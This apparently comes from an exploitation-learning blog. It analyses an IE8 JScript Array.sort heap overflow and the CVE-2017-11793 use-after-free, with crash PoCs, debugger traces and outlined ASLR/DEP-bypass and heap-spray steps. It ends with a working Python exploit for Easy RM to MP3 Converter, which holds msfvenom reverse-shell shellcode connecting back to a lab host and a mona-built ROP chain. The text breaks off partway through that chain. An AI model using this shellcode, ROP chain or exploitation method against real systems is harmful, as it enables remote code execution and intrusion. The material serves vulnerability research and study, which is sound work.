<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>

<script language="Jscript.Encode">
	var vars = new Array(100);

	var arr = new Array(1000);
	for(var i=1;i<600;i++) arr[i] = i;

	var o = {toString:function() {
  		for(var i=600;i<1000;i++) {
    		arr[i] = 1337;
  		}
	}}

	function go() {
  		arr[0] = o;
  		Array.prototype.sort.call(arr);
	}


	go();

</script>

This script (PoC) performs following actions:

  1. Create a new Array of 100 elements called vars.
  2. Create one more Array of 1000 elements called arr.
  3. Assign values to elements 1 through 599 (Notice that the arr[0] is still undefined).
  4. Create an object using Immediately Invoked Function Expression and store it in variable β€˜o’.
  5. When the function go() is called, arr[0] is assigned Object β€˜o’.
  6. After that the Array.sort() is called.

Here, the assignment arr[0] = o; is what causes the crash. We will discuss that later in this blog post.

Crash Analysis:

When accessed this page in IE8 with Page Heap enabled and Debugger attached, we see following crash:

As we can see, the crash occurred while executing mov instruction which tried to copy a value in ECX into 4 bytes starting at the address in ESI. The program crashed because ESI contains 0x0bb9b008 which has invalid data. We need to look at an allocation call stack to see if this is Heap Overflow or some other bug:

So, the ESI is pointing to 0x0bb9b008 while User Pointer/Address is 0x0bb964e0 and the object size is 0x4b20. The vulnerable object starts at 0x0bb964e0 and considering the fact that it’s 0x4b20 in size, it should end at 0x0bb9b000 (0x0bb964e0 (UserPTR) + 0x4b20 (Object Size) = 0x0bb9b000).

0:005> ? esi - 0xbb964e0
Evaluate expression: 19240 = 00004b28

However, the mov instruction tried to write past 0x0bb9b000 until 0x0bb9b008 causing an 8 byte overflow. Let’s the dump the contents at 0x0bb964e0 which is start of the object (UserPTR):

Vulnerable Object

As we can see, the vulnerable object still has valid data. However, ESI is pointing to 0x0bb9b008 which is 8 bytes past the end of the object (0x0bb9b000) and that’s what caused IE to crash. This confirms that it’s a Heap Overflow bug.

What’s the root cause of this vulnerability?

If we monitor memory allocations during object creation, we would notice that the object is created when Array.prototype.sort.call(arr) is called. We can confirm that from Allocation Call Stack:

As we can see, the method Array.prototype.sort.call(arr) called jscript!JsArraySort() which in turn called jscript!JsArrayStringHeapSort(). The jscript!JsArrayStringHeapSort() then called msvcrt!malloc() which then called ntdll!RtlAllocateHeap() and then 0x4b20 bytes of memory was allocated at address 0xbb964e0. Also, looking at the stack trace, we can conclude that the crash occurred while getting some values from the vulnerable (Array) object:

0:005> kb
ChildEBP RetAddr Args to Child
08a5cbb4 7182ac4d 0bb44fc0 0bb5fc1c 08a5cc18 jscript!NameTbl::GetValCore+0xca
08a5cbc4 7182acd0 0bb9b000 00000000 0bb9b008 jscript!ArrayObj::GetValAtIndex+0x5a
08a5cc18 71853058 00000259 0bb9b008 3c7f46d4 jscript!ArrayObj::GetVal+0x24
08a5ccfc 71852e34 07669d10 0bb44fc0 000003e8 jscript!JsArrayStringHeapSort+0x1e3
08a5cd6c 7183599a 00000259 000003e8 08a5cf18 jscript!JsArraySort+0x243
08a5cdd4 71835870 08a5cf18 00000000 00000000 jscript!NatFncObj::Call+0x106

According to the author of this vulnerability, β€œArray.sort is implemented in JsArraySort which, depending if a comparison function was specified or not, calls JsArrayStringHeapSort or JsArrayFunctionHeapSort. These (vulnerable) functions take several arguments, 2 of which are the input array length and the number of elements currently in the input array (this can be smaller than the array length). The vulnerable functions are going to allcoate 2 buffers to store intermediate data. The size of these buffers will be calculated based on num_elements. However, while filling those arrays it is possible that the number of elements is going to increase, which causes a heap overflow.β€œ

Based on this information we can draw a rough flowchart to visualize this:

So, these Sorting functions allocate two buffers (Arrays) and their size is based on the number of elements that are currently there in the Input array and an overflow occurs while filling these buffers (Arrays) if the number of elements increase. Looking at the PoC, it seems that the statement arr[0] = o; which assigns previously created object β€˜o’ to the 0th element of the Array arr causes an overflow while these Sorting functions fill the buffer.

To validate our assumption, let’s look at our Array when object β€˜o’ is assigned to arr[0] and then in the next run change the 0th element to String or Integer and see if it still causes a crash. This is how our Array looks like after arr[0] = o;:

Let’s modify our PoC to assign a string β€œSlidingWindow” to arr[0] , save it as patched_code.html and see if the crash still occurs:

<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>

<script language="Jscript.Encode">
	var vars = new Array(100);

	var arr = new Array(1000);
	for(var i=1;i<600;i++) arr[i] = i;

	var o = {toString:function() {
  		for(var i=600;i<1000;i++) {
    		arr[i] = 1337;
  		}
	}}

	function go() {
  		arr[0] = "SlidingWindow"; //This shouldn't cause an overflow/crash
  		Array.prototype.sort.call(arr);
	}


	go();

</script>

Notice that we changed arr[0] = o; to arr[0] = β€œSlidingWindow”;. Let’s attach IE to debugger and access patched_code.html:

As we can see, IE did not crash this time but is our string SlidingWindow there in memory?

Yes, the string SlidingWindow is in memory, yet IE did not crash. That’s because the JsArrayStringHeapSort() function created a buffer (Array) based on the number of elements currently in our Array arr and since arr[0] did not have an Object this time but just a string SlidingWindow, the number of elements did not increase while filling the buffer so an overflow never occurred.

Exploitability:

To exploit a Heap Overflow vulnerability, we usually need to follow these steps:

  1. Control contents of appropriate CPU register:

We need to be able to modify the PoC such that we can point one of the registers to the address in our Heap Spray during crash. In this scenario, it could be Array element assignment like arr[i] = i or arr[i] = 1337 but we will discuss this shortly.

2. Create a memory layout:

We need to create a memory layout in such a way that when vulnerable object is allocated it takes the place of our choosing. For this to happen, we need to allocate several objects (Arrays of BSTR objects for example) in memory which would be adjacent to each other, free some of these objects to create holes and then trigger the vulnerability so that when the vulnerable object is allocated, it takes the place of our (intentionally) free-ed object (i.e. fills the hole).

So, the layout would look something like this: Vulnerable Object + Our Object1 + Our Object2 (with vtable pointer). One thing to note here is that one of the objects (Our Object2 in this example) from our allocations should have a vtable pointer. We will discuss the reason for that shortly.

3. Trigger allocation of vulnerable object and overflow to cause Memory Leak:

Once we have an appropriate memory layout setup discussed earlier, we then need to trigger allocation of vulnerable object and then heap overflow which would write past vulnerable object (beyond 0x4b20 bytes in this case since the object size is 0x4b20 bytes) so that it would corrupt the header (length field) of the object we allocated which is right next to the vulnerable object.

4. ASLR Bypass:

a. Leak/Retrieve vtable pointer: The next step is to find that object from our allocations from step 2 whose header field was corrupted. We allocated several objects from step 1, so how do you know which one was corrupted? For that, we simply need to traverse through each of these objects and check the header (length field). Since we already know the size of the object we allocated in step 1, we just need to check if the value in header field is different than the expected size. If yes, then that’s the object with corrupt header field.

Now that we know the corrupted object, we need to read past this object until we encounter a vtable pointer of the object which is next to the corrupted object. This object is also from the allocations that we made in step 2.

b. Calculate DLL/Image Base Address: Now that we know the vtable pointer, we can utilize it to calculate the base address of a loaded DLL/Image or module, Jscript.dll in this case. This way we bypass/defeat ASLR.

5. Perform Heap Spray (DEP Bypass + Shellcode):

We now need to spray the heap with a ROP chain + Shellcode. This ROP chain will help us bypass Data Execution Prevention (DEP) so that our Shellcode can execute. Since we have a base address of loaded module/DLL (Jscript.dll in this case), we can build our ROP chain based on gadgets from Jscript.dll. The only thing is that we can’t use hard coded address but Base Address + Offset.

We can use Mona.py to build a ROP chain using following command:

mona rop -m jscript.dll -rva

6. Trigger the overflow again to get EIP control:

Now that we have our ROP chain + Shellcode in memory, we need to point EIP into our Heap Spray so that it can start executing our ROP chain and then Shellcode. For this, we need to trigger heap overflow again such that EIP lands in our Heap Spray.

One thing to note here is that we need to make ESP point into our Heap Spray at the right time. Because if ESP is still pointing to the Stack and when EIP encounters a RET instruction for the first time (while executing ROP gadgets), the execution will return to the Stack and not our Heap Spray. So, we will no longer be controlling the execution flow.

Challenges

Now one of the challenges here is controlling the contents of appropriate CPU register during crash (Step 1). In this case since the crash occurs while executing mov dword ptr [esi],ecx, we must be able to control what value goes inside ECX because that’s what being copied into an address referenced by ESI. To be able to do this, we need to figure out what part of the PoC code we need to modify that will allow us to control the value/address that goes in ECX.

I noticed that the value in ECX is always same after every crash, which is C0C00003. I tried playing around with the values of arr[i] = i as well as arr[i] = 1337 thinking that one of these might have been translated into C0C00003. However, I noticed that changing these values never affected ECX and it always contained C0C00003.

Another challenge is about creating a memory layout (Step 2). One of the hurdles is more or less similar to what I faced while analyzing CVE-2017-11793, a Use-After-Free (UAF) vulnerability which was also part of aPAColypse now disclosure. The Jscript allocations do not use Default Process Heap (00790000) but a different one, 00990000. These are the heap available:

0:005> !heap
Index Address Name Debugging options enabled
1: 00790000
2: 00990000
3: 00ae0000
4:
<!– snip –>

Let’s look at !heap -p -all output:

As we can see, our vulnerable object 0x0bb964e0 was allocated from 00990000 and not the Default Process Heap 00790000. So, if we want to create a memory layout where this vulnerable object would end up landing (Step 2), we need to create an object (from Jscript.dll) that would cause memory allocations from Heap 00990000 instead of Default Process Heap.

Like last time, I’m not familiar with Jscript allocations yet but mshtml only. However, we can try to learn a few things about Jscript Objects from Google Project Zero’s aPAColypse now blog post.

Jscript Vars and Strings

On a 64 bit machine, JScript VAR is a 24 byte structure which represents a Javascript variable. Based on the explanation from aforementioned blog post, in most cases, we can visualize Jscript variable memory layout as follows which is sufficient to follow the exploit:

This is how a JScript VAR would look like in memory when stored a Double Precision Number (Floating Point 64):

A Jscript String is also a Jscript VAR whose VAR type is 8. This is how a Jscript String looks like:

The String VAR points directly into the character array. Which means, when we access the String VAR we get a pointer to the start of the character array. So, if we decrement this pointer by 4, we get the String length. One more thing to note here is that the BSTR allocations are handled by OLEAut32.dll and allocations are made on a separate heap which is different heap than used by other Jscript objects. I still haven’t gone through it yet but if you’re interested in knowing more about this, you can go through this Heap Feng Shui in JavaScript paper.

That’s how it would look like on a 64 bit machine. Since we’re dealing with IE in 32-bit mode, the var size etc would be less than what’s mentioned above. For example, instead of a Double Precision Number, we would be dealing with a Single Precision Number (a floating point number on a 32 bit machine).

Overwriting Temporary/Vulnerable Buffer to Control the Contents (Step 1)

Now that we have some (theoretical) understanding of Jscript VAR and Strings, let’s understand our vulnerable buffer which is a temporary buffer/array that JsArrayStringHeapSort() creates. This is the buffer we overflow into. The size of this array depends on number of elements currently in the Input array and each element of this array is 48 bytes in size (on a 64 bit machine). Following is the structure of this array:

As mentioned in the JsArrayStringHeapSort() flow chart earlier, it retrieves each element of the array and check if that element is defined. If yes, it then performs following:

  1. Store the original array element at offset 16. This is a JScript VAR.
  2. Convert the original array element to a JString String and store a pointer to this Jscript String at offset 0.
  3. Store the index of current element in array at offset 8.
  4. Store either 0 or 1 at offset 40. This depends on the VAR type of the original array element.

As researchers of this vulnerability mentioned, there’s nothing much in this temporary buffer that we can control directly. However, if a member or element of the input array is a double precision number, it’s value is stored at offset 24. This number is something that we can control directly. For this, we need to create a number with double representation and then leverage our overflow to overwrite a pointer somewhere after the end of the buffer with a pointer to the memory we directly control (which is usually a heap spray). The details of how this can be accomplished using a NameList JScript object which has a pointer to a hashtable are available in Stage 2: Overflow section of Google Project Zero’s aPAColypse now blog post.

Alright, this is a lot of theory! When time permits, I will try to figure out how to cause JScript VAR or String allocations, verify their memory layout as well as layout of vulnerable/temporary buffer and then see how we can control this buffer to control the contents of CPU register (Step 1). Once that is done, rest of things like creating a memory layout, creating a memory leak to get Base address of JScript.dll, ALSR + DEP bypass and EIP control should be pretty straight forward.

Thanks for your time and I would love to have your feedback.

References

https://googleprojectzero.blogspot.com/2017/12/apacolypse-now-exploiting-windows-10-in_18.html

https://www.blackhat.com/presentations/bh-usa-07/Sotirov/Whitepaper/bh-usa-07-sotirov-WP.pdf

ANALYSIS OF MICROSOFT IE11 SCRIPTING ENGINE MEMORY CORRUPTION VULNERABILITY (CVE-2017-11793) – Part-1

22 May 2021 at 16:58

On December 18 2017, Ivan Fratric (@ifsecure) from Google Project Zero disclosed a Use-After-Free (UAF) vulnerability in Microsoft Internet Explorer 11. A proof-of-concept (PoC) exploit can be found here on Β Google Project Zero websiteΒ and also onΒ Exploit-DB. AΒ CVE-2017-11793Β was assigned to this vulnerability.

A UAF vulnerability occurs when an object is created, free-ed and then re-used or referenced again.

Though this vulnerability affects IE 11, I could reproduce it on IE 8 on Windows 7 SP1 machine. We will analyse this vulnerability in this blog.

Following is the PoC for this vulnerability:

<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
<script language="Jscript.Encode">

var o1 = {toJSON:function(){
  //alert('o1');
// Object is created here return [o2]; }} var o2 = {toJSON:function(){ //alert('o2');
// Object is free-ed here CollectGarbage();

// Free-ed/Vulnerable Object is re-used/referenced here return 'x'; }} JSON.stringify(o1); </script>

Crash Analysis:

When accessed this page with debugger attached, we see following crash:

As we can see, a crash occurred because EIP is pointing to an instruction which is trying to access/dereference an invalid memory which is 0x18 bytes offset from ESI.

As we discussed earlier, a Use After Free vulnerability exists when an object is created, it is then free-ed later on and then the application tries to access that object again after it’s been free-ed.

Let’s analyse all these three steps:

Step 1: Object Creation:

After analysing memory allocations and free’s, I noticed that, the statementΒ returnΒ [o2];Β causes memory allocation. That is when the object is created. We can confirm that by carefully putting a breakpoint when the object is created and runΒ !heap -p -a eaxΒ command:

address 0bcaefc0 found in
_DPH_HEAP_ROOT @ a11000
in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                             bc6123c:          bcaefc0               3c -          bcae000             2000
73f48e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77ef0c96 ntdll!RtlDebugAllocateHeap+0x00000030
77eaae1e ntdll!RtlpAllocateHeap+0x000000c4
77e53cce ntdll!RtlAllocateHeap+0x0000023a
76e79d45 msvcrt!malloc+0x0000008d
76e7b0d7 msvcrt!operator new+0x0000001d
6ff4cabf jscript!ArrayObj::Create+0x0000000e  
6ff8e5b3 jscript!CScriptRuntime::Run+0x0000177a
6ff55d7d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce
6ff55cdb jscript!ScrFncObj::Call+0x0000008d
6ff55870 jscript!NameTbl::InvokeInternal+0x000002b4
6ff54f84 jscript!VAR::InvokeByDispID+0x0000017f
6ffd2108 jscript!JSONApplyFilters+0x00000137
6ffd1c6e jscript!JSONStringifyObject+0x0000008d
6ffd1a43 jscript!JsJSONStringify+0x000003a2
6ff5599a jscript!NatFncObj::Call+0x00000106
6ff55870 jscript!NameTbl::InvokeInternal+0x000002b4

So, looking at the Call Stack during object creation (UserSize column), it’s clear that 0x3c bytes of memory was allocated at addressΒ 0x0x0bcaefc0Β by calling jscript!ArrayObj::Create which in turn calledΒ msvcrt!malloc. The msvcrt!mallocΒ then calledΒ ntdll!RtlAllocateHeap which then called ntdll!RtlpAllocateHeap. Also, it looks likeΒ jscript!ArrayObj::CreateΒ is the Constructor of this object.

Step 2: Object is free-ed

After monitoring allocations and frees for a while, I noticed that the object in question (0x0bcaefc0) is free-ed when CollectGarbage() is called. This is the same address/User Pointer (0x0x0bcaefc0) which ESI contains at the time of the crash.

We can run !heap -p -a esi command to display the allocation Call Stack for User Pointer (0x0x0bcaefc0):

0:005> !heap -p -a esi
    address 0bcaefc0 found <strong>in</strong>
    _DPH_HEAP_ROOT @ a11000
    <strong>in</strong> free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    bc6123c:          bcae000             2000
    73f490b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    77ef1464 ntdll!RtlDebugFreeHeap+0x0000002f
    77eaab3a ntdll!RtlpFreeHeap+0x0000005d
    77e53472 ntdll!RtlFreeHeap+0x00000142
    76e798cd msvcrt!free+0x000000cd
    6ff67977 jscript!NativeErrorProtoObj<16>::`vector deleting destructor'+0x00000019
    6ff66c67 jscript!NameTbl::SetMasterVariant+0x00000054
    6ff671d8 jscript!VAR::Clear+0x0000003f
    6ff66e46 jscript!GcContext::Reclaim+0x000000b6
    6ff643e9 jscript!GcContext::CollectCore+0x00000123
    6ffc83f0 jscript!JsCollectGarbage+0x0000001d
<!-- snip --->


As we can see, the vulnerable object (0x0x0bcaefc0) is not in Busy allocation anymore but in free-ed allocation. A Destructor jscript!NativeErrorProtoObj<16>::`vector deleting destructor was called which in turn called msvcrt!free. The msvcrt!free then called ntdll!RtlFreeHeap which then called ntdll!RtlpFreeHeap and then the object was free-ed.

Step 3: Object is re-used

While continuing monitoring allocations and frees, I noticed that this free-ed/vulnerable object is referenced again right beforeΒ statement return β€˜x’;Β which triggers a Use-After-Free (UAF) bug leading to a crash:

As we can see, a crash occurred because EIP is pointing to an instruction which is trying to access/dereference an invalid memory which is 0x18 bytes offset from ESI. Following is the stack trace:

0:005> kb
ChildEBP RetAddr  Args to Child              
08b3cbac 6ffd1e46 0ba4ed10 08b3cbd8 00000000 jscript!JSONStringifyArray+0x40e
08b3cc08 6ffd1a43 08b3cc60 0ba4ed10 6ffddb00 jscript!JSONStringifyObject+0x265
08b3ccb4 6ff5599a 0ba4ed10 08b3cd58 08b3ccf8 jscript!JsJSONStringify+0x3a2
08b3cd1c 6ff55870 00000000 00000001 078b4f70 jscript!NatFncObj::Call+0x106
08b3cda0 6ff54f84 0bc9afa0 0ba4ed10 00000001 jscript!NameTbl::InvokeInternal+0x2b4
08b3cdd4 6ff5f2fb 0ba4ed10 00000000 00000001 jscript!VAR::InvokeByDispID+0x17f
08b3ce14 6ff5dcfb 0ba4ed10 08b3ce84 0bc96fc0 jscript!VAR::InvokeJSObj<SYM *>+0xb8
08b3ce50 6ff5d9a8 0ba4ed10 08b3ce84 00000001 jscript!VAR::InvokeByName+0x174

We can see that when methodΒ jscript!JsJSONStringifyΒ was called, it in turn called another methodΒ jscript!JSONStringifyObjectΒ which again called another methodΒ jscript!JSONStringifyArray. The methodΒ jscript!JSONStringifyArrayΒ then tried to access value in ESI+0x18 location and crash occurred because that memory location contains invalid data.

Now that we know when a vulnerable object is created, when it’s being free-ed and when it’s being re-used/referenced, we have enough information required to exploit this bug.

Is this bug exploitable?

In order to exploit a Use After Free vulnerability, we need to cause a series of allocations after the vulnerable object is free-ed and right before it’s re-used/referenced by the application. This way we when the application tries to reference that vulnerable object, it will see some valid data there (that we supplied) and the application won’t crash.

This means that we can now control the application flow. We could take advantage of this UAF bug to achieve remote code execution but the problem here is that these JScript allocations (including our vulnerable object) are not part of Default Process Heap. We can confirm that by looking at aforementioned Call Stack.

We can see that the addressΒ 0x0x0bcaefc0Β is part of Heap RootΒ a11000.Β Now if we runΒ !heapΒ command, we see following heaps available:

0:005> !heap
Index   Address  Name      Debugging options enabled
  1:   00810000                
  2:   001e0000                
  3:   00cd0000                
  4:   07d10000                
  5:   09590000                
  6:   09da0000                
  7:   0a530000                
  8:   09620000                
  9:   0b2c0000                
 10:   0c480000                
 11:   0c650000                
 12:   0cab0000                
 13:   0b720000  

So, hereΒ 00810000Β is the Default Process Heap. If we run theΒ !heap -p -allΒ command, we get more information about Heap RootΒ a11000 :

_HEAP @ 1e0000
  No FrontEnd
  _HEAP_SEGMENT @ 1e0000
   CommittedRange @ 1e0588
  * 001e0588 0048 0004  [00]   001e0590    00238 - (busy)
    001e07c8 0103 0048  [00]   001e07d0    00810 - (free)
  * 001e0fe0 0004 0103  [00]   001e0fe8    00018 - (busy)
   VirtualAllocdBlocks @ 1e00a0
_DPH_HEAP_ROOT @ a11000
Freed and decommitted blocks
  DPH_HEAP_BLOCK : VirtAddr VirtSize
    00a14e6c : 078ff000 00002000
    00a14c30 : 07915000 00002000
    00a14bfc : 07917000 00002000
    00a14b94 : 0791b000 00002000
    00a149f4 : 0792b000 00002000
    00a149c0 : 0792d000 00002000
    00a14958 : 07931000 00002000
    00a147ec : 0793f000 00002000
    00a14820 : 0793d000 00002000
    00a14854 : 0793b000 00002000
    00a146b4 : 0794b000 00002000
    00a146e8 : 07949000 00002000
<!-- snip -->

As we can see, the HEAP ROOTΒ a11000Β doesn’t belong to Default Process Heap but a different heap,Β 001e0000. So, if we have to replace the free-ed object (atΒ 0x0x0bcaefc0) with the object of our choice to gain code execution, our memory allocations should be fromΒ 001e0000Β and not from Default Process Heap.

If you’re interested in knowing more about causing JScript allocations, you can review this exploit from Google Project Zero: https://www.exploit-db.com/exploits/45279

If time permits, I will try to understand allocations mentioned in the aforementioned exploit and do some research about JScript allocations and see how to cause allocations from the same Heap as vulnerable object. I will post part-2 of this blog post then.

Special thanks to Peter Van Eeckhoutte (@corelanc0d3r) for amazing Advanced Windows Exploitation training & constant support.

Easy RM to MP3 Converter Buffer Overflow Vulnerability (DEP Bypass using ROP)

1 December 2019 at 06:50

I wanted to learn and practice DEP bypass technique so I decided to try it on Easy RM to MP3 Converter version 2.7.3.700 (2006.09.29). I started off with a PoC and modified it for DEP bypass.

I tried it all manual first and could craft all of Β the parameters required for VirtualProtect() successfully but then something went wrong inside VirtualProtect(). May be because EBP was misaligned.

I was running out of time so I decided to learn !mona rop, and spend some time fixing the rop_chain it created. And the result is here ;):

Screenshot 2019-11-30 at 10.21.29 PM

Β 

screenshot-2019-11-30-at-10.38.24-pm.png
Shellcode + Game Over!

Here’s the exploit code:

#!/usr/bin/env python
import struct


#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.102 LPORT=443 -e x86/alpha_mixed -f python > temp.txt
#Payload size: 710 bytes
#Run it and check the base address of the Shellcode, in my case it's 0x0010F80C

shellcode =  ""
shellcode += "\x89\xe5\xda\xcd\xd9\x75\xf4\x5f\x57\x59\x49\x49\x49"
shellcode += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
shellcode += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
shellcode += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
shellcode += "\x58\x50\x38\x41\x42\x75\x4a\x49\x39\x6c\x49\x78\x6c"
shellcode += "\x42\x37\x70\x55\x50\x67\x70\x35\x30\x6e\x69\x69\x75"
shellcode += "\x55\x61\x79\x50\x73\x54\x6c\x4b\x52\x70\x44\x70\x6c"
shellcode += "\x4b\x66\x32\x64\x4c\x6c\x4b\x61\x42\x64\x54\x4e\x6b"
shellcode += "\x74\x32\x61\x38\x34\x4f\x68\x37\x71\x5a\x64\x66\x76"
shellcode += "\x51\x6b\x4f\x6c\x6c\x57\x4c\x71\x71\x33\x4c\x54\x42"
shellcode += "\x66\x4c\x45\x70\x4a\x61\x38\x4f\x56\x6d\x56\x61\x69"
shellcode += "\x57\x49\x72\x79\x62\x52\x72\x76\x37\x6e\x6b\x56\x32"
shellcode += "\x62\x30\x6e\x6b\x31\x5a\x47\x4c\x6c\x4b\x72\x6c\x37"
shellcode += "\x61\x43\x48\x38\x63\x53\x78\x35\x51\x5a\x71\x62\x71"
shellcode += "\x4e\x6b\x73\x69\x57\x50\x67\x71\x78\x53\x6e\x6b\x37"
shellcode += "\x39\x77\x68\x6b\x53\x57\x4a\x72\x69\x4c\x4b\x54\x74"
shellcode += "\x6c\x4b\x47\x71\x78\x56\x35\x61\x59\x6f\x6c\x6c\x5a"
shellcode += "\x61\x4a\x6f\x74\x4d\x36\x61\x4f\x37\x67\x48\x79\x70"
shellcode += "\x30\x75\x4b\x46\x57\x73\x63\x4d\x5a\x58\x77\x4b\x53"
shellcode += "\x4d\x45\x74\x31\x65\x49\x74\x31\x48\x4c\x4b\x32\x78"
shellcode += "\x46\x44\x45\x51\x4e\x33\x33\x56\x6e\x6b\x44\x4c\x70"
shellcode += "\x4b\x4e\x6b\x46\x38\x65\x4c\x57\x71\x7a\x73\x4c\x4b"
shellcode += "\x64\x44\x4c\x4b\x46\x61\x6a\x70\x6d\x59\x50\x44\x67"
shellcode += "\x54\x76\x44\x61\x4b\x53\x6b\x75\x31\x31\x49\x71\x4a"
shellcode += "\x32\x71\x69\x6f\x6b\x50\x51\x4f\x31\x4f\x32\x7a\x4e"
shellcode += "\x6b\x72\x32\x4a\x4b\x6e\x6d\x33\x6d\x75\x38\x70\x33"
shellcode += "\x74\x72\x57\x70\x57\x70\x30\x68\x54\x37\x44\x33\x54"
shellcode += "\x72\x61\x4f\x42\x74\x73\x58\x70\x4c\x53\x47\x61\x36"
shellcode += "\x56\x67\x39\x6f\x4e\x35\x48\x38\x7a\x30\x33\x31\x35"
shellcode += "\x50\x65\x50\x37\x59\x69\x54\x73\x64\x32\x70\x35\x38"
shellcode += "\x67\x59\x4f\x70\x70\x6b\x55\x50\x59\x6f\x38\x55\x46"
shellcode += "\x30\x66\x30\x42\x70\x62\x70\x61\x50\x46\x30\x73\x70"
shellcode += "\x62\x70\x72\x48\x78\x6a\x56\x6f\x6b\x6f\x4b\x50\x79"
shellcode += "\x6f\x48\x55\x4e\x77\x52\x4a\x56\x65\x42\x48\x39\x50"
shellcode += "\x69\x38\x54\x78\x33\x56\x42\x48\x54\x42\x55\x50\x37"
shellcode += "\x71\x4d\x6b\x6f\x79\x58\x66\x62\x4a\x44\x50\x56\x36"
shellcode += "\x66\x37\x43\x58\x5a\x39\x4e\x45\x53\x44\x61\x71\x49"
shellcode += "\x6f\x59\x45\x4f\x75\x39\x50\x50\x74\x36\x6c\x49\x6f"
shellcode += "\x62\x6e\x36\x68\x52\x55\x4a\x4c\x71\x78\x4a\x50\x4f"
shellcode += "\x45\x39\x32\x56\x36\x49\x6f\x5a\x75\x52\x48\x62\x43"
shellcode += "\x72\x4d\x65\x34\x57\x70\x4b\x39\x4b\x53\x52\x77\x42"
shellcode += "\x77\x36\x37\x45\x61\x59\x66\x33\x5a\x52\x32\x51\x49"
shellcode += "\x70\x56\x6a\x42\x49\x6d\x71\x76\x69\x57\x33\x74\x54"
shellcode += "\x64\x55\x6c\x33\x31\x33\x31\x4e\x6d\x72\x64\x46\x44"
shellcode += "\x52\x30\x5a\x66\x67\x70\x63\x74\x72\x74\x46\x30\x52"
shellcode += "\x76\x76\x36\x43\x66\x42\x66\x72\x76\x72\x6e\x70\x56"
shellcode += "\x63\x66\x73\x63\x70\x56\x51\x78\x62\x59\x4a\x6c\x65"
shellcode += "\x6f\x6f\x76\x79\x6f\x79\x45\x6e\x69\x6b\x50\x70\x4e"
shellcode += "\x61\x46\x72\x66\x4b\x4f\x76\x50\x75\x38\x67\x78\x4b"
shellcode += "\x37\x75\x4d\x75\x30\x79\x6f\x4e\x35\x4d\x6b\x78\x70"
shellcode += "\x78\x35\x6c\x62\x56\x36\x70\x68\x6c\x66\x6d\x45\x6f"
shellcode += "\x4d\x4d\x4d\x6b\x4f\x69\x45\x47\x4c\x64\x46\x51\x6c"
shellcode += "\x44\x4a\x4f\x70\x49\x6b\x49\x70\x74\x35\x36\x65\x6f"
shellcode += "\x4b\x31\x57\x77\x63\x32\x52\x42\x4f\x71\x7a\x35\x50"
shellcode += "\x36\x33\x79\x6f\x39\x45\x41\x41"



def create_rop_chain():

  '''
   --- alternative chain ---
   EAX = ptr to &VirtualProtect()
   ECX = lpOldProtect (ptr to W address)
   EDX = NewProtect (0x40)
   EBX = dwSize
   ESP = lPAddress (automatic)
   EBP = POP (skip 4 bytes)
   ESI = ptr to JMP [EAX]
   EDI = ROP NOP (RETN)
   + place ptr to "jmp esp" on stack, below PUSHAD
  --------------------------------------------


  '''

  # rop chain generated with mona.py - www.corelan.be

  #This needed a little fix
  rop_gadgets = [
    #[---INFO:gadgets_to_set_esi:---]
    #0x00000000,  # [-] Unable to find API pointer -> eax,    EAX = ptr to &VirtualProtect()
    
    0x1002a21d,  # POP EAX # RETN    ** [MSRMfilter03.dll] **   |   {PAGE_EXECUTE_READ}
    0x7C801AD4,  # ptr to &VirtualProtect() [IAT msvcrt.dll],       for Widnows XP SP3
  
    #ESI = ptr to JMP [EAX]
    0x1001a788,  # PUSH EAX # POP ESI # POP EBP # MOV EAX,1 # POP EBX # POP ECX # RETN [MSRMfilter03.dll] 
    0x41414141,  # Filler (compensate for extra POP instruction)
    0x41414141,  # Filler (compensate for extra POP instruction)
    0x41414141,  # Filler (compensate for extra POP instruction)

    #[---INFO:gadgets_to_set_ebp:---]             , EBP = POP (skip 4 bytes)
    0x1002e79b,  # POP EBP # RETN [MSRMfilter03.dll] 
    0x1001b058,  # & push esp # ret  [MSRMfilter03.dll]
    
    #[---INFO:gadgets_to_set_ebx:---]     ,   EBX = dwSize which is 0x201
    0x10029822,  # POP EAX # RETN [MSRMfilter03.dll] 
    0x41f10201,  # put delta into eax (-> put 0x00000201 into ebx)
    0x10027682,  # ADD EAX,BE0F0000 # RETN [MSRMfilter03.dll] 
    0x1001bdee,  # PUSH EAX # MOV EAX,1 # POP EBX # ADD ESP,8 # RETN [MSRMfilter03.dll] 
    0x41414141,  # (compensate for extra POP instruction)
    0x41414141,  # (compensate for extra POP instruction)

    #[---INFO:gadgets_to_set_edx:---],   EDX = NewProtect (0x40).  XOR EDX and then keep incrementing until it's 0x40
    #0x00000000,  # [-] Unable to find gadget to put 00000040 into edx
    0x77c576ec,  # XOR EDX,EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
